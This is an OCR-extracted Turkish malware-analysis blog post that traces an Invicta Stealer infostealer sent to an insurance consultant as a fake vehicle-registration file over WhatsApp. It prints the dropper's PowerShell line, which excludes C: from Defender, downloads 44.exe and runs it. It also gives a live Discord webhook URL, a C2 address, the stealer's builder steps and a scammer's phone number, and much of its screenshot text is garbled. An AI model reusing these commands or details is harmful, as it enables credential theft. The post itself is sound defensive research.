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Baslangic

Son yillarda karsilasilan Uber, Airbus, Grand Theft Auto VI ve benzer siber
guvenlik vakalarina baktigimizda, infostealers yani bilgi hirsizligi amaciyla
kullanilan zararli yazilimlarin 6n plana ¢iktigini ve siber su¢ ekosisteminde

giderek daha onemli bir rol oynadigini goériyoruz.

Yapilan arastirmalar da 2023 yilinda bu tirdeki zararli yazilaim kaynakli
siber guvenlik vakalarinin 2022 yilina kiyasla iki kat arttigini, Rus market
yerlerinde (Russian Market) bu zararli yazilimlar tarafindan calinan ve
satisa sunulan kayit dosyalarinin (logs) 2021 yilindan bu yana %690 arttigina
dikkat cekiyor.


https://www.mertsarica.com/bilgi-hirsizlari/
https://www.hack4career.com/information-thieves/
https://www.anomali.com/blog/anomali-cyber-watch-uber-and-gta-6-were-breached-redline-bundle-file-advertises-itself-on-youtube-supply-chain-attack-via-ecommerce-fishpig-extensions-and-more
https://www.infosecurity-magazine.com/news/pirated-software-cause-airbus/
https://www.anomali.com/blog/anomali-cyber-watch-uber-and-gta-6-were-breached-redline-bundle-file-advertises-itself-on-youtube-supply-chain-attack-via-ecommerce-fishpig-extensions-and-more
https://socradar.io/quick-facts-on-the-worlds-top-infostealer-malware-threats/
https://www.scmagazine.com/news/infostealer-incidents-more-than-doubled-in-q1-2023
https://www.secureworks.com/about/press/infostealer-market-booming-despite-genesis-market-and-raidforums-takedowns
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Referans: ANY.RUN

Bilgi Hirsizi Zararli Yazilimi Nedir?

Bilgi hirsizi zararli yazilimi, basta bulastigi isletim sistemindeki
uygulamalara, sistemlere (VPN, RDP, SSH) ait kullanici adi, parola bilgileri
olmak Uzere kisisel, finansal bilgileri de calan ve ardindan bunlari
gelistiricisine gonderen bir yazilaimdir. Bu zararli yazilaimlar ¢ogu zaman
gelistiricileri tarafindan zararli yazilim servis (MaaS) modeli olarak
haftalik ve aylik olarak erisim aracilarina (IAB) satilmakta veya
kiralanmaktadirlar.

Zararli yazilamlar tarafindan calinan bu bilgiler daha sonra erisim aracilari
(IAB) tarafindan siber suclularain ugrak yeri olan yeralti forumlarinda, Rus
pazar yerlerinde (Russian Market) tehdit aktérlerine, operatérlere
(misteriler) satilmaktadirlar.


https://any.run/malware-trends/
https://socradar.io/what-is-stealer-as-a-service/
https://socradar.io/growing-cybercrime-outsourcing-model-initial-access-brokers/

Malware Drives innovation Specialist
developer

log parsers

Lists for
salefrent

Increase
reputation

Infostealer
malware

Userfeedback g Logs — BEeeeetrEEE Parsed logs

CRIMINAL
MARKETPLACE

Purchased

Purchased by IAB lists by

for sale

Initial Feature requests Attacker

aCeess C2 server
broker

Customers

Deploys stealer

\

Ransomware

Exfiliration Credentials
exploited

Espionage

Referans: Secureworks

O0zellikle SOCRadar gibi siber tehdit istihbarati firmalari bu yerleri
yakindan takip ederek misterilerini, satisa sunulan bilgileri hakkinda
uyarmaktadirlar. Bu uyarilar sayesinde kurumsal firmalar, calisanlarina,
musterilerine, tedarikc¢ilerine ait hesaplari hizlica tespit edip, dondurarak
bu bilgilerin siber suc¢lular tarafindan kotuye kullanilmasinin &énune
gecmektedirler. Aksi durumlarda ise 6rnegin X firmasina fidye saldirisi
gerceklestirmeyi planlayan bir tehdit aktoru, erisim aracisindan 10$‘a satin
aldigi bu erisim bilgileri ile kotu emellerini kolaylikla hayata
gecirebilmektedir.


https://www.secureworks.com/
https://socradar.io/
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3-2-1 Kayit!

Hikayemiz, 25 Temmuz 2023 tarihinde Bartu KILIC‘in akrabasindan gelen bir
WhatsApp mesaji ile baslar. Sigorta danismani olan akrabasi, arac¢ sigortasi
yaptirmak isteyen bir kisinin WhatsApp lUzerinden kendisine ruhsat adi altinda
gonderdigi bir dosyadan (skoda superb2013 1.6ti ruhsat.rar) siphelenerek
konuyu siber guvenlik uzmani olan Bartu’'ya tasimaya karar verir. Bartu da bu
hikayeyi, kendisi ile son zamanlarda yasanilan dolandiricilik girisimlerine
dair sohbet ettigimiz bir esnada benimle paylasir ve ilgimi fazlasiyla ceken

bu konuyu arastirmaya baslamam Ulzerine olaylar gelisir.

Bartu’dan dosyay1 incelemek icin akrabasindan talep etmesini rica ettikten
bir sire sonra dosyanin silindigini bu nedenle dosyayi elde edemedigini
paylasti. Bunun lUzerine elinde dolandiricinin cep telefonu numarasi (+90 545
466 89 52) oldugu icin ben de dolandirici ile WhatsApp lzerinden iletisime
gecmeye karar verdim. Kendimi sigorta sirketinin genel merkez calisani olarak
tanitarak (her zaman dolandiricilar sosyal mihendislik yapacak degiller ya
:)) dolandirici ile yazismaya basladim ve cok gecmeden hikayeye konu olan
supheli dosyay1i elde edebildim.


https://socradar.io/extended-threat-intelligence/
https://www.linkedin.com/in/bartukilic/
https://www.virustotal.com/gui/file/df28ad6f74180a512e460289356c3d957bf3b2614649002fff023b43653fc0ad/detection

[ J Dolandirici
[

YESTERDAY
8 Messages are end-to-end encrypted. No one outside of this chat, not even WhatsApp, can read or listen to them. Click to learn more.

Merhaba. 5., ,

Sigorta acentemiz sizin ruhsati goriintiileyememis. Tekrar gonderebilir misiniz ?
13:36 W/

Burdanmi iletiyim ..,

Mimkinse. Acentenin PDF suiriimiinde problem var saniyorum merkez ofis olarak
bizden destek istedi. Whatsapp desktop oldugu igin buradan daha hizli agabilirim.

15:41

tamamdir iletiyorum 15:41

bilgisayar basindamisiniz hala ..,

Evet, gece 12'de mesaimiz bitiyor efendim. 15:42

Tamamdir ..,

10 dk ya atiyorum ..,

Tamamdir. 15:46 &/

@ @ Type a message

®  Dolandirici
[

YESTERDAY
» skoda__superb2013_1.6ti_ruhsat.rar

RAR - 977 B

Kurumsal Whatsapp hattindan gériisme yapamiyoruz efendim. 15:53 W/

Kontrol edip bilgi verecegim. 15:53
Tamamdir Bekliyorum ...

Durum nedir ;..o

Mac bilgisayarimda galistiramadim maalesef destek masasindan yardim istedim.
16:00 v/

Hata nedir 5. o

acarken . .o
?
*16:03

TextEdit diye bir uygulama ile agiliyor, kodlar agiliyor PDF yerine. .. %

tamamdir ...




Dolandirici

windows dan denerseniz 16105
. YESTERDAY

daha saglikli olucaktir ;.. -

bence 545

Tamamdir destek masasi gagrisina bu notu belirtiyorum. Anlayisiniz igin tesekkdirler.
16:06 v/

Tamamdir sagolun .-

bugiin yada 16:07

yarin fiyat almam gerek .-

Yarin mesai saati sonuna kadar sorun ¢oziilmis olacaktir. ..o

Suan 4549

olmuycak yani degilmi ..,

windows bir isletim sisteminde calisir bence .,

Merkez ofis birimi olarak mac bilgisayarlar kullaniyoruz, ¢aligma arkadasimdan da

rica ettim o da maalesef agamadi. 16111

Destek merkezinde nobetgi olmadig igin gagrimiz sabah saat 9:00'dan sonra

yanitlanabilecekmig maalesef. 16112

Dolandirici

Windowstanmid enedi T YESTERDAY

acaba 545

Maalesef. Tiim birim mac bilgisayar kullanmaktadir. 16115

Windows yokmu yarin .,

gelmezmi yani 16115

Destek masasinda hem Windows hem Mac bilgisayarlar var bu nedenle ¢oziilecegini
dislniyorum. 1617

Ruhsat bilginizi bagka gekilde agabilirsem o gekilde de génderebilirsiniz. ;...

tamamdir yarin haber bekliyorum ﬁ T3

Sehir disindayim T

Suan bagka tirli yardimei olamayacagdim. ... o

yarini bekleyebiilirim .-

sorun degil ...,

Tegekkdrler anlayiginiz igin ...




Dolandirici Q

Tegekkirler anlayiginiz igin 5.,

Sagolun ..o

hayirli gtnler ..o

lyi aksamlar. ...

-

Merhaba 06:48

iyi gunler .. o

durum nedir 06:48

Efendim ben de size yazacaktim. Arkadaslar hata aliyorlarmis "powershell error"

diye. Acaba bagka bir ruhsat kopyasi génderebilir misiniz ? 06:53 &/

i iniz?
Windowstanmi denediniz? ...«

Acaba ;.o

Evet simdi kontrol ettim, Windows 10 Enterprise diye ¢agriya not digtlmis. ..., ,

Statik Supheli Dosya Analizi (44.exe)

skoda superb2013 1.6ti ruhsat.rar dosyasini sanal Windows 11 isletim sistemi
uzerinde actiktan sonra skoda superb2013 1.6ti ruhsat.bat dosyasi hemen
dikkatimi cekti. Notepad ile dosyayi ac¢tigimda karsima UTF-16 kodlanmis bir
karakter dizisi c¢ikti. HxD hex editoru ile BAT dosyasini inceledigimde,
tehdit aktorinin metin editdérleri ile komutlarin acgiga ¢ikmasini engellemek

icin byte-order mark (BOM) yonteminden faydalandigini gordim.
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https://mh-nexus.de/en/hxd/
https://en.wikipedia.org/wiki/Byte_order_mark

€ 1% HxD - [C:\Users\mertrix\Desktop\skoda__superb2013_1.6ti_ruhsat\skoda__superb2013_1.6ti_ruhsat.bat] = O X
@ File Edit Search View Analysis Tools Window Help -8 X
3 \ B @~i. | Windows (ANSI) ~ | hex v
%] skoda_superb2013_1.6ti_ruhsat.bat Special editors x‘
Offset (h) 0l 02 03 04 05 06 ecoded text Data inspector
FE oD 73 6 Vb..set "params= 1
2B oD 0OR 7 $*"..cd /d "$~dp I‘ ‘ ’ .I
00000020 30 22 26 & 0" && ({ if exist Binary (3 bit) 00100000
Q0000030 20 22 65 & "stempi\getadmi Int8 gote: 32
00000040 €E ZE 73 7 n.vbs" del "%tem Ulnta goto: 32
00000050 70 25 €5 & p3\getadmin.vbs"™
00000060 20 29 26 6 ] ) &s fsutilfldir Int16 goto: 23632
00000070 74 79 75 7 6D ty guery $system Ulnt16 goto: 25632
00000080 €4 72 65 32 3E 6E drive% 1>nul 2>n Int24 goto: 6906912
Q0000080 20 53 65 wul || ( echo Se Ulnt24 goto: 6906912
000000R0 43 €5 4F €2 t UAC = CreateCb Int32 goto: 1919509536
000000B0 SE 41 70 70 ject”™("Shell.App
000000C0 20 41 lication"*) : UR Ulnt32 goto: 1919505536
000000D0 6 22 C.ShellExecute " Int64 goto: 8151648866583274528
00C0000EQ 20 64 cmd.exe", "/k cd Ulnt64 goto: 8151648866583274528
000000F0 26 "NE~sdp0™" && % 1roaan PPN &
00000100 20 ~s0 %params¥”, " Byte order
0oooo110 20 ", "runas", 1 >> © Little endian OBigendian
00000120 6 "stempt\getadmi
00000130 € n.vbs" && "Stemp [[J Hexadecimal basis (for integral numbers)
annnnlAn En 1 Ya} e Lo s el
Offset(h): 6C Overwrite

Bu kodlamanin arkasina gizlenen komutlari inceledigimde, BAT dosyasinin
calistirildiginda o6ncelikle zararli yazilimin Microsoft Defender ile tespit
edilmesini engellemek i¢in PowerShell komutlarindan faydalanarak C: dizinini
Microsoft Defender’in istisna listesine ekledigini daha sonra ise Discord
isimli iletisim platformundan 44.exe isimli bir dosya indirip calistirdigini

gordum.

Windows 11 Home

] *new 1 - Notepad++ — 5} X
File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window ? N + v x
JHHB R RE 4 WD e i @ <EEET ERR=®|E m D B

= P m\
‘YP

3 set "params=%*"

4 cd /d "$~dp0" && ( if exist
UAC.ShellExecute "cmd.exe",
& ::[Bat To Exe Converter]

"$temp%\getadmin.vbs" del "stemp$\getadmin.vbs" ) && fsutil dirty query %systemdrives 1>nul 2>nul || ( echo Set UAC = CreateObject”("Shell.Application"*) :
"/k cd ""%~5dp0"" && %~50 %paramss", "", "runas", 1 >> "$temp$\getadmin.vbs" && "stemp$\getadmin.vbs" && exit /B )

AWZORAXOK+EWANK

Bw5plQjdGs=
AwZUBVEJIXIWC13EGQIgSA==

: 1 ZR41UWNXIGUZRRNk
::Yhs/ulQjdF+5

: : CxAKpRVQAFKZSzk=
::cBs/ulQjdE+5

R410xFsdFKZSDk
BoioBt6dFKZSDk=
RO6pxp7LADNWATEPCI=
gkzugNsPRVCHATEpCI=
siuh18IRvCCxNZtBIQ
RY1uBh/LU+EWAnk

1 :¥YxYdrhs+aU+JeA==

1 :CXY6rQJ7JhzQF1fEQQJIQ

: 1 2Q05rAF9TBnCCKaN+0xwdVs0

: 1 2Q05TAF9TAHYFVZEQQIQ

: 1eg0/rx1WNQPFEVWB+KMOLVS JDGQ=
BEirQZwNQPfEVWB+kMILVSIDGO=
Ro1quZ3JBVOF1£EQQIQ
hA7UBVWLU+EWDk=
Q03rBFZNR3SWATE1A==
hAmSQZ 3Mw ENWATE1 A==
00/VhVQMO3MEVWALBIWSA==
::2982qx1/OA3MEVWALBIWSA==

: :dhATpRFWIBYZRRk

: :2h4grVQjdCyDJIGYX8VA ] FANYTROGM3NGI rAP4/ 20/ 9a+g200bgIeVLVu9PS8Feggy3GgcIdotg==
::YB416EK+ZWE=

$:978£952a14a936cc963da21al35fa983

powershell -w hidden -c Add-MpPreference -ExclusionPath "C:";Start-BitsTransfer -Source "https://cdn.di .com/attachments/1133485730606350488/1133485852429910066/44.exe" -Destination

"C:\44.exe"; Invoke-expression "C:\44.exe"

Normal text file length : 1,354 lines : 39 Ln:2 Col:1 Pos:7 Windows (CRLF)  UTF-8 INS

Dinamik Supheli Dosya Analizi (44.exe)

Buraya kadar fazlasiyla supheli islem yapmak ic¢in olusturulmus bu BAT
dosyasini bir kenara koyup, 44.exe isimli dosyayi indirip, ANY.RUN isimli


https://support.microsoft.com/en-us/windows/stay-protected-with-windows-security-2ae0363d-0ada-c064-8b56-6a39afb6a963
https://discord.com/
https://www.virustotal.com/gui/file/24137505cf75ee73172f98d999359bf5525b39c490fbf66894177da215698da7?nocache=1
https://any.run/

interaktif zararli yazilim analizi platformuna ylklemeye ve calistirip,
kayitlarini incelemeye karar verdim.

44 .exe islemi (process) tarafindan isletim sistemi lUzerinde olusturulan

kayitlardan onemli olanlara baktigimda;

Calistigi sistemin IP adresinin cografi konum bilgilerini ve temel ASN
ayrintilarini IPinfo Uzerinden aliyordu.

Gofile dosya paylasim platformuna isletim sisteminden caldigi dosyalari
yliklemek ic¢in musait olan Gofile sunucu bilgisini aliyordu.

Calinan dosyalari Gofile platformuna ylkler ve paylasilabilir indirme
baglanti adresini (link) alaiyordu.

Indirme baglanti adresini, zararli yazilim gelistiricisinin web sunucusuna
(http://antonybarlett[.]site:2095/stats) gonderiyordu.

Baglanti adresini, tehdit aktodrinin Discord kanalina Webhook ile
gonderiyordu.

C @ 2 app.any.runjtasks/c471ff13-857a-4a87-b8ff-33deadb30c58/ * gan B O 3 o6

HTTP Requests 298 | Connections DNS Requests Threats ¢ 3 PCAP ¥ SSL Keys A% Malicious activity
Headers Process name Content
GET | 200: 0K 44.exe & d 247b & binary 1CA74ADD2F32CA488680DD72BD

GET | 200: 0K y Ad.exe ns://api.go e 42b 4 binary S 023,19:29  Total time: 653 s
Win10 64 bit

NETWORK ¢

485Kb + binary
361b 4 binary

139b + binary
4b 4 text ¥ Get sample = loc ) Restart

POST | 200: OK B 44.exe

FILES

Indicators: &

POST | 200: 0K 39 Y

POST | 204: No Content 3P 44.exe g5 534, 195b 1 binary Text report Graph ATT&CK Export v

DEBUG

49

Returns the best server
Returns the geolocation information available to receive uploads es ! G -
for an IP address and basic ASN k e
details l

. 4 COM slui.exe -Embedding
Posts the sharable download link to
the threat actor’s Discord channel. Sends the sharable download
link to the web server of the €OM Delivery Optimization User
malware developer. 38

65

Uploads files and gets a shareable
download link.

80 €OM FileCoAuth.exe -Embedding



https://app.any.run/tasks/c471ff13-857a-4a87-b8ff-33deadb30c58/
http://ipinfo.io/json
https://gofile.io/
https://www.virustotal.com/gui/domain/antonybarlett.site
https://discord.com/api/webhooks/1133485749174534244/bn3XWahnRDXI_2tbBWpTonpflGrU11zDgpV48h1kuiyjtsbPuHIbN5QgmDuwsRlvit4r

Static discovering

json

Static discovering

getServer

Look up on VirusTotal

? json ) Submit to analyze
Downloaded | JSON data (247.00 b)
Mime: application/json  Entropy: 4.83

Main HEX

MDS 5538C1EB020433D410389B391E82BFE8

SHA1 83D4E406DDDC2381A1055ABC932B2EADD563B132

SHA256 55AD7ACF2213B11B93AA673C8640F19773FE29F15289F60517E37202E6AD3647
SSDEEP 6:0U7HapyJdX/yJdDT5fdu+6ZuJddW35jY:JaUTX6T/BMuTK5k

EXIF (JSON)

JSON

City Madrid

Country ES

Ip 45.130.136.9

Loc 40.4165,-3.7026

Org AS9009 M247 Europe SRL
Postal 28004

Readme https://ipinfo.io/missingauth
Region Madrid

Timezone Europe/Madrid

Look up on VirusTotal

? getServer ) Submit to analyze

Downloaded | JSON data (42.00 b)
Mime: application/json  Entropy: 3.62

Main HEX

MDS5 49F2DE7E3957DC6159D7E823F57AC68B

SHA1 742CE6303CECCESA1320311FFE1173F80A7D8E42

SHA256 8255E148857A3533ABE2CF8213966D1A946C5CA54CFCDFE7AF4B41D03545BB75
SSDEEP 3:YWR4bliIWAXY:YWyblirY

EXIF (JSON)

JSON

DataServer store5

Status ok

¥ Download

¥ Download




Static discovering

uploadFile

Static discovering

Request

stats

? uploadFile

Look up on VirusTotal

) Submitto analyze ¥ Download

Downloaded | JSON data (361.00 b)
Mime: application/json  Entropy: 5.31

Main HEX

MDS 2E227E687D319E49C23BAC65C5573B2E

SHA1 F53F3297959E0492FA8B5CE33C7BDD82ACCBC2CE

SHA256 35E2FD69F3EF2770EEC882669381A907E29BDDC29235CEFAF49D6ACIBAF0345A

SSDEEP 6:YWybli+0fx5ZHJrKR40fRyER2Z pxsdFVg8/cAQfyvkoUJTQWRKB+KG7Ds1:YWybliBHZKR11R26dYRrfyvkzZTQWKD1

EXIF (JSON)

JSON

DataCode
DataDownloadPage
DataFileld
DataFileName
DataGuestToken
DataMd5
DataParentFolder

Status

? stats

e3TS0x

https://gofile.io/d/e3TS0x

f90fdd2a-cf72-4cc7-a074-6a5aa7bc2a0d
_WO0_wEO_aE0_pE0_ES_{65b178c1-239¢c-11ed-b4aa-806e6f6e6963}_MKt6éc8fchP.zip
Ib2ws9FGfWVruHFoHw3LdJJTTt3EIBgk

f9a36b5a4b8cc8f522170a89e78ea8fb

24932005-0e03-46ad-b50 2b450bd1

ok

Look up on VirusTotal

) Submitto analyze ¥ Download

Downloaded | JSON data (139.00 b)
Mime: application/json  Entropy: 5.01

Main HEX

MDS5 4072E4D2B6EEC4111C3A475D71410879

SHA1 5D5A73268AE8507C021DC18DEBACI3D79D977F67

SHA256 7AF7542DEC8BC817ED6B2FAE8D7F8EA97C838C4C36F933D573C5B5211CB8CA69
SSDEEP 3:YGKad1NaxL1sHMjhLtVFSvZfZ6fuRGySEUJ6dDDMQxb:YGK+WOyhRVFSvBsyJUJTQN

EXIF (JSON)

JSON

Content

https://gofile.io/d/e3TS0x [W: 0 |WE: 0 [aE: 0 [wP: 0 [B: 0 [EUNK: 1 |C: ES |H: {65b178c1-239¢-1...




Static‘Discovering

Bi8XWainRBXISZt6BWp TonpfIGrUT1 2DgB¥48h 1kuiyjtsbPuHIbN5SQgmDuwsRIvit4r x

> bn3XWahnRDXI_2tbBWpTonpflGrU11zDgpV48h1kuiyjtsbPuHIbN5QgmDuwsRlvit4r = Z Submit to analysis ¥ Download
A Saved request data

Mime: application/json
21 Look up on VirusTotal Size: 195.00b
TrID - File Identifier Hashes
@) BIC49E7CICEACAEFFBDI4958EC90023B
o pa— D) 954FF66DA1105732B2E9E45E3EBBDESCOBDAGCT6
TYPE UNKNOWN ) DAGBEDBE7124599AB13D5FBBBDAE72EEES36E379ESDCABD7A4B5B6B3BIF76769
EEP | ©) 3:YGKad1NaxL1sHMjhLtVFSvZfZ6fuRGySEUJ6dDDMOxztsLtFRFAZFHIFTXN/ : YGK+HOYhRVFSVBSYJUITQ; .
HEX

https://gofile.io/d/e3TSOX [W: O [WE: O [aE: O [wP: 0 [B: O [EUNK: 1 |C: ES [H: {65b

178c1-239c-11ed-b4aa-806e6f6e6963} 1.1.1 Password: InvictaStealer | https://
ES e

5. kayda baktigimda, HTTP isteginde yer alan InvictaStealer etiketi ve
https://t.me/invicta stealer Telegram adresi dikkatimi cekti. Telegram
kanalini ziyaret ettigimde, bu yazilimin C++ programlama dili ile
gelistirilmis, olusturucusu (builder) lcretsiz olarak GitHub depolama

platformunda sunulan, Rus menseili bilgi hirsizi zararli yazilimi
(infostealer) oldugu netlesmis oldu.



Invicta Stealer [Ef€/ em] - (191267)

Invicta Stealer [E/ um]
201 subscribers

| Previous message

g N N Y T = PR

| Invicta Stealer [/ gm]
X Invicta Stealer — a powerful, free native stealer 3

3 This is a C++ stealer which is being actively improved upon, with the
help we receive from our active community.

[ BROWSERS

Information is obtained from all the profiles from all chromium-
based (the most used) browsers, and firefox.

We collect: credit card data, autofill, history, all extensions which

é include 71 crypto wallets and various authenticators, local storage,
downloads, and much more. Essentially, all the information is

% collected.

[ DISCORD
All of the discord tokens are extracted from: the regular client,
discord canary, ptb discord and browser local storage

[ CRYPTO
Wallet information is collected from 25 wallets, with new ones being
actively added.

[ SENSITIVE DIRECTORIES AND FILES

We have studied real world scenarios, and came up with advanced
filters that will fetch you sensitive information related to
cryptocurrency wallets, bank accounts, passwords, private keys, etc.
The stealer gets recently opened .txt files, recursively iterates
through the computer to find sensitive information, steals github
and visual studio code repositories (with bloat removed), gets .txt
files from desktop, documents, etc

[ FTP CLIENTS



Invicta Stealer [Ef</ em] - (191282)

Invicta Stealer [S/ gm]
201 subscribers

Pinned message
| 34 Invicta Stealer — a powerful, free native stealer 3 This is a C++ stealer whit

files from desktop, documents, etc

[ FTP CLIENTS
Information is obtained from WinSCP and FileZilla

r.i SYSTEM INFORMATION
We collect system information, which includes the HWID, IP,
timezone, computer language, RAM, CPU information, etc

[ ANTI-DEBUGGING, EVASION TECHNIQUES

We use anti-debug/anti-virustotal/anti-vm techniques which
complicate analysis of the malware. Your link will be encrypted in
the stealer file.

Sensitive operations are performed through syscalls, which make
them harder to detect by AVs and analysts, and all strings are
encrypted.

@ PRICE

We made the base version free to eliminate certain low quality
stealers from being used, and to drive future customers to our paid
version.

A paid version featuring a convenient HTTP panel and a custom file
filter will be released soon.

Install and use instructions are included in the channel

Contact us if you need help or have suggestions. We strive to be the
best.

@invicta_stealer

W3 4H1 @1 ® 632 ® edited 19:28




Invicta Stealer [Ef</mm] - (191279)

Invicta Stealer [EIS/ mm]
201 subscribers

Pinned message
| 34 Invicta Stealer — a powerful, free native stealer 3¢ This is a C++ stealer which

F 93 &1 V! ® 632 A edited 19:28

|
*  Invicta Stealer [BE/ um]
~ TUTORIAL

1. Download the Builder ZIP file
2. Run Builder.exe

- 3.Input discord webhook, or an URL to your HTTP server into the

. box

4. Click build

5. Patched stealer will be available in out/InvictaStealer.exe

https://github.com/simplybrin/Invicta-Stealer

\ & ® 506 13:12

Invicta Stealer [EfS/mm]
Update v1.1.0

- Bug fixes
- Add password manager support: keepass

- Steam: steal sessions, get installed games list and username
- System information: list all installed apps, get path of running
stealer, get windows version

04 ® 523 13:18




¢« > c o

£ Hack 4 Career. Inf... in LinkedIn

& github.com/simplybrin/Invicta-Stealer
Mert SARICA (mer... 1 Inbox - mert.saric...

— O simplybrin / Invicta-Stealer

Code -) Issues 1 0 Pull requests ») Actions [ Projects O Security

@ invicta-Stealer ru

¥ main ~

. simplybrin Update README.md

9 InvictaStealer Builder.zip

) README.md

README.md

Insights

Go to file Add file ~ <> Code ~

2 26 com

Y Invicta Stealer — a powerful, free native stealer >

This is a C++ stealer which is being actively improved upon, with the help we receive from our active community.

NOTE: THIS IS FOR EDUCATIONAL PURPOSES ONLY. YOU MAY NOT USE THIS FOR MALICIOUS PURPOSES.

™ BROWSERS

Information is obtained from all the profiles from all chromium-based (the most used) browsers, and firefox. We

) » & 0@ :

ES Other Bookmarks

7o 0

7 Star 15

About

Most powerful C++ stealer that's also
free

Releases 3

O Release v1.1.1 ( Lates

*Invicta Stealer’in YouTube kanalindaki tanitim videosu*

Dinamik Zararli Dosya Analizi

(Builder.exe)

Zararli yazilaimin gelistiricisine ait olan GitHub alanindan InvictaStealer

Builder.zip dosyasini indirip sanal sistemimde calistirip incelemeye

basladim. Uygulama acildiginda kullanicidan Discord Webhook veya bir URL

girmesini istiyor ve ardindan Build butonuna basilinca zararli yazilimi

olusturuyordu. Test icin Webhook/Server URL kismina AAAAAA.. girip, zararli

yazilimi olusturdum.


https://github.com/simplybrin/Invicta-Stealer
https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks

[ ] @ Windows 11 Home

I i - = ey
= ] X
out X =+
O New~ ¥ @ @ ® W Nsotr = Viw-
|
& v N > Invicta Stealer v1.1.1 > out v C Search out r
> Home Name Date modified Type Size
[l InvictaStealer - Copy.exe 4/6/2023 3:26 AM Application 2,227 KB
B Desktop (W] InvictaStealer.exe 7/26/2023 1:48 PM Application 2,227 KB
' Downloads
¥ |nvicta Stealer = O X

=] Documents

E Pictures

S Invicta Stealer

i3 videos Webhook/Server URL
AAAAAAAAAAAAAAA

> M This PC t.me/invicta stealer

2items 1 item selected 2.17 MB

" S Y Success X
A A A

e BuipSulieC.. e frl.. ‘ mer pestudid

 —7
Pl A

LS. @,\\f_, leossesel NUERS windbg.exe pestud

Zenmap GUI

0 Successfully patched. Working stealer is at ./out/InvictaStealer.exe

Olusturulan zararli yazilimin 44.exe ile benzer noktalarini kesfetmek icin
ANY.RUN'a yukledigimde, iki yazilimda da ortak olan
http://antonybarlett[.]site:2095/stats web adresi dikkatimi cekti. Bu adresi
VirusTotal zararli yazilim analiz platformunda arattigimda, glvenlik
ureticilerinden sadece SOCRadar tarafindan supheli, Fortinet tarafindan ise
istenmeyen (spam) olarak damgalandigini gérdim.

HTTP Requests 8| Connections DNS Requests Threats 3 PCAP ¥ SSL Keys & Malicious activity
Timeshift Headers Content i
1 GET | 200: 0K 248b ¥ binary 2207AESFDBFFECFAESA

GET | 200: 0K y 80 InvictaS ofile.jo/getServer 42b 4 binary Total time: 6535
Win10 64 bit

NETWORK ¢

485Kb 1 binary
361b 4 binary

139b + binary
4b 4 text ¥ Get sample = loc ) Restart

POST | 200: OK

FILES

Indicators: A=g. 4
POST | 200: 0K

Public tasks
GET | 200: 0K 239Kb & compressed| | Textreport Graph ATTRCK Export ~

GET | 200: 0K 0 Micros pdate. S: g C v1/Ed 445b & binary
736b 1t binary |
97b 4 binary Processes Only important

DEBUG

soon

m
POST | 200: OK

GET | 200: OK 5800 0S0 1 co V1 445b 4 binary v 80 InvictaStealer.exe | PE

SXE 49

) WerFault.exe -u-p4080-s928

96 |COM  slui.exe -Embedding

6 COM FileCoAuth.exe -Embedding



https://www.virustotal.com/gui/domain/antonybarlett.site
https://socradar.io/

Static discovering Look up on VirusTotal

B ”
Request ? stats ") Submit to analyze ~ ¥ Download

Downloaded | JSON data (139.00 b)
Mime: application/json  Entropy: 5.06

Main HEX

stats

MDS 4F2453F3318139B419788F73CE880DOF

SHA1 D77B24743DC49BE14C089821942F2C2233D4910F

SHA256 0A6F793267AA2441B385DE9E086FEFB2A705E25D9BA9FFFE8835BC8BE141A7CE
SSDEEP 3:YGKad1NaxL1TrSAFVjhLtVFSvZfZ6fuRGySEUJ6dDDMQxb:YGK+WBIhRVFSvBsyJUJTQN

EXIF (JSON)

JSON

Content https://gofile.io/d/IxfR7r [W: 0 |wE: O |aE: 0 |wP: 0 [B: 0 [EUNK: 1 |C: ES |H: {65b178¢1-239¢-11...

C (O @& virustotal.com/gui

£ Hack 4 Career. Inf... jn Linkedin Mert SARICA (mer... f Inbox - mert.saric... Other Bookmarks

Z antonybarlett.site| Q N o (J € signin M

0 (D No security vendors flagged this domain as malicious = Similar ~ % Graph 4 API
/88 Creation Date Last Analysis Date
antonybarlett.site é)

5 months ago 2 days ago

media sharing

Community Score

DETECTION DETAILS RELATIONS COMMUNITY

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis (D Do you want to automate checks?

Fortinet @ Spam SOCRadar @ Suspicious

Abusix @ Clean Acronis @ Clean

ADMINUSLabs @ Clean AICC (MONITORAPP) @ Clean

AlienVault @ Clean alphaMountain.ai @ Clean

Antiy-AVL @ Clean Avira @ Clean @
hanbaw ~n N Plaan Rfara Ai Dralrima N Plaan s

Iki farkli zararli yazilim érnedinde ortak olan bu web adresi beni ve e-
Devlet Hacklendi mi? yazimi okuyanlari eminim ki pek sasirtmamistir cinki o
yazida dolandiricilarin paylastiklari dosyalara cogu zaman arka kapi
yerlestirdiklerini gormustuk. Bu zararli yazilimda ise gelistiriciler, tehdit
aktorleri tarafindan GitHub alanindan indirilip, olusturulan bu zararl:i
yazilim tarafindan calinan ve Gofile dosya paylasim platformuna ylklenen
dosyalarin adresini kendilerine de almayi, suca ortak olmayi ihmal

etmemislerdi. :)


https://www.mertsarica.com/e-devlet-hacklendi-mi/
https://www.mertsarica.com/e-devlet-hacklendi-mi/

Sigorta Danismanini Hedef Alan Tehdit
Aktoru Kim?

Bu bilgileri elde ettikten sonra sira aklima takilan onemli sorulara yanit
bulmaya gelmisti. Bu zararli yazilimi GitHub alanindan indirip, olusturan ve
sigorta danismanini hedef alan tehdit aktdéru kimdi? Bunun icin zararli
yazilima goémilmis olan Discord Webhook adresinden faydalanmaya karar verdim.
Bu adrese gittigimde Discord API, bu Webhook'u olusturan kullanicinin 17
Haziran 2023 tarihinde Discord’a katilan Nedimtac kullanici adina, Iplikci
Nedim goriinen adina (display name) sahip bir kisi oldugunu gosterdi.

(N ] @ discord.com/api/webhooks/112 X +

& C (O @& discord.com/api/webhooks 74917453 WahnRDXI_2tbBWpTonpflGru11zD 3hikuiyjtsbPuHIbN5SQgmDuwsRl... h % @ By @ *» & 0O (’5 g

& Hack 4 Career. Inf... in Linkedin Mert SARICA (mt 1 Inbox - mert.saric. % Other Bookmarks

{"application_id":null,"avatar":null, "channel_id":"1133485730606350488","guild_id":"1133485730035937412","id":"1133485749174534244", "name": "Captain Hook","type":1,"user":{"id":"1119714

{"application_id":null,"avatar":null,"channel_id":

installed.txt {"application_id":null,"avatar":null,"channel_id": ®

{"application_id":null,"avatar":null,"channel_id":"1133485730606350488", "guild_id":"1133485730035937412"," 133485749174534244" , "name" :"'Captain Hook", “ty?,ipe" 1, duseptts{dd
